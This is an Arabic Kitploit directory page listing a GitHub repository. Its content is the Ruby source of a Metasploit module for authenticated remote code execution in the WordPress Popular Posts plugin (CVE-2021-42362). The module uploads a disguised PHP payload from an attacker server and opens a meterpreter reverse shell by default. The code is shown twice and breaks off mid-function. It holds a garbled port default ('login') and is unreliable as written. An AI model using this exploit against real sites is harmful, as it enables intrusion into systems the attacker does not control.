Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
nate158g-m-w-n-l-p-d-a-o-e — ### تتطلب هذه الوحدة Metasploit: https://metasploit.com/download# المصدر الحالي: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ يتطلب هذا الاستغلال من Metasploit أن يكون لديه اسم نطاق مؤهل بالكامل (FQDN) والقدرة على تشغيل خادم ويب للحمولة على المنفذ 80 أو 443 أو 8080. يجب أيضاً ألا يحل اسم النطاق المؤهل بالكامل إلى عنوان محجوز (192/172/127/10). يجب أن يستجيب الخادم أيضاً لطلب HEAD للحمولة، قبل تلقي طلب GET. يستغل هذا الاستغلال التحقق غير السليم من المدخلات المُوثَّق في إضافة ووردبريس Popular Posts <= 5.3.2. سلسلة الاستغلال معقدة إلى حد ما. مطلوب المصادقة ومكتبة 'gd' للPHP على الخادم. ثم يتم إعادة تكوين إضافة Popular Post للسماح بعنوان URL عشوائي لصورة المنشور في القطعة (widget). يتم إنشاء منشور، ثم تُرسل طلبات إلى المنشور لجعله أكثر شيوعاً من المنشور السابق رقم 1 بمقدار 5. بمجرد أن يصل المنشور إلى المراكز الخمسة الأولى، وبعد تحديث ذاكرة التخزين المؤقت للخادم لمدة 60 ثانية (ننتظر 90)، يتم تحميل قطعة الصفحة الرئيسية مما يؤدي إلى قيام الإضافة بتنزيل الحمولة من خادمنا. تحتوي حمولتنا على رأس 'GIF'، و امتداد مزدوج ('.gif.php') مما يسمح بتنفيذ كود PHP عشوائي. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo | Kitploit
أدوات/GitHubGitHub/nate0634034090/nate158g-m-w-n-l-p-d-a-o-e
أطر اختبار الاختراقأطر الاستغلالتوليد الحمولةتحليل الثغرات الأمنيةاستغلال تطبيقات الويبالفريق الأحمر
GitHubnate0634034090/nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e

عرض المستودع
12440منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

### تتطلب هذه الوحدة Metasploit: https://metasploit.com/download# المصدر الحالي: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ يتطلب هذا الاستغلال من Metasploit أن يكون لديه اسم نطاق مؤهل بالكامل (FQDN) والقدرة على تشغيل خادم ويب للحمولة على المنفذ 80 أو 443 أو 8080. يجب أيضاً ألا يحل اسم النطاق المؤهل بالكامل إلى عنوان محجوز (192/172/127/10). يجب أن يستجيب الخادم أيضاً لطلب HEAD للحمولة، قبل تلقي طلب GET. يستغل هذا الاستغلال التحقق غير السليم من المدخلات المُوثَّق في إضافة ووردبريس Popular Posts <= 5.3.2. سلسلة الاستغلال معقدة إلى حد ما. مطلوب المصادقة ومكتبة 'gd' للPHP على الخادم. ثم يتم إعادة تكوين إضافة Popular Post للسماح بعنوان URL عشوائي لصورة المنشور في القطعة (widget). يتم إنشاء منشور، ثم تُرسل طلبات إلى المنشور لجعله أكثر شيوعاً من المنشور السابق رقم 1 بمقدار 5. بمجرد أن يصل المنشور إلى المراكز الخمسة الأولى، وبعد تحديث ذاكرة التخزين المؤقت للخادم لمدة 60 ثانية (ننتظر 90)، يتم تحميل قطعة الصفحة الرئيسية مما يؤدي إلى قيام الإضافة بتنزيل الحمولة من خادمنا. تحتوي حمولتنا على رأس 'GIF'، و امتداد مزدوج ('.gif.php') مما يسمح بتنفيذ كود PHP عشوائي. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo

مشاركة

nate158g-m-w-n-l-p-d-a-o-e### هذه الوحدة تتطلب Metasploit: https://metasploit.com/download# المصدر الحالي: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ يتطلب هذا الاستغلال أن يكون لدى Metasploit اسم نطاق مؤهل بالكامل (FQDN) والقدرة على تشغيل خادم ويب للحمل على المنفذ 80 أو 443 أو 8080. يجب ألا يحل اسم النطاق المؤهل بالكامل إلى عنوان محجوز (192/172/127/10). يجب أن يستجيب الخادم أيضًا لطلب HEAD للحمل، قبل تلقي طلب GET. يستغل هذا الاستغلال تحققًا غير صحيح من الإدخال في إصدارات المكون الإضافي Popular Posts <= 5.3.2 لووردبريس. سلسلة الاستغلال معقدة نسبيًا. المصادقة مطلوبة و 'gd' الخاص بـ PHP مطلوب على الخادم. ثم يتم إعادة تكوين مكون Popular Post للسماح بعنوان URL عشوائي لصورة المنشور في القطعة. يتم إنشاء منشور، ثم يتم إرسال طلبات إلى المنشور لجعله أكثر شيوعًا من المنشور السابق #1 بمقدار 5. بمجرد وصول المنشور إلى أفضل 5، وبعد 60 ثانية (ننتظر 90) لتحديث ذاكرة التخزين المؤقت للخادم، يتم تحميل القطعة في الصفحة الرئيسية مما يؤدي إلى تنزيل المكون الإضافي للحمل من خادمنا. يحتوي حملنا على رأس 'GIF'، وامتداد مزدوج ('.gif.php') مما يسمح بتنفيذ كود PHP عشوائي. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # وحدة msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # التحليل الأصلي ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 دقيقة، قد يقوم زوار آخرون للموقع بتشغيله }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'اسم مستخدم الحساب', 'admin']), OptString.new('PASSWORD', [true, 'كلمة مرور الحساب', 'admin']), OptString.new('TARGETURI', [true, 'المسار الأساسي لخادم ووردبريس', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'اسم النطاق المؤهل بالكامل لخادم metasploit. يجب ألا يحل إلى عنوان محجوز (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'المنفذ المحلي للاستماع.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('لم يتم اكتشاف ووردبريس.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts ليس إصدارًا ضعيفًا') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # قم بتكرار هذه الحلقة 5 مرات في حالة وجود تأخير زمني في كتابة الملف بواسطة الخادم (1..5).each do |i| print_status("تشغيل الصدفة في: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} خلال 10 ثوانٍ. المحاولة #{i} من 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('فشل في العثور على الحمل، ربما لم يتم رفعه بشكل صحيح.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('الاستجابة لطلب HEAD الأولي (اجتاز الفحص 1)') # وفقًا لـ https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests يجب أن يكون لدينا Content-Length صالح # لكن يبدو أن هذا يُحسب ديناميكيًا، حيث يتم استبداله بـ 0 في هذا الرد. تركت هنا كملاحظات. # أيضًا لم أرغب في إرسال الحمل الحقيقي في النص لجعل الحجم صحيحًا لأن ذلك يزيد من فرصة اكتشافنا return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('الاستجابة لطلب GET (اجتاز الفحص 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # لسبب غريب نحتاج إلى إغلاق الاتصال يدويًا حتى يتمكن PHP/WP من إنهاء وظائفه Rex.sleep(2) # انتظر حتى ينتهي WP من جميع الفحوصات التي يحتاجها trigger_payload(on_disk_payload_name) end print_status("تم استلام طلب #{request.method} غير متوقع") end def check_gd_installed(cookie) vprint_status('التحقق من تثبيت gd') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('استرداد رمز wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('تحديث إعدادات المنشورات الشائعة للصور') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'تعذر حفظ/تغيير الإعدادات') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_stat

تنزيل الأداة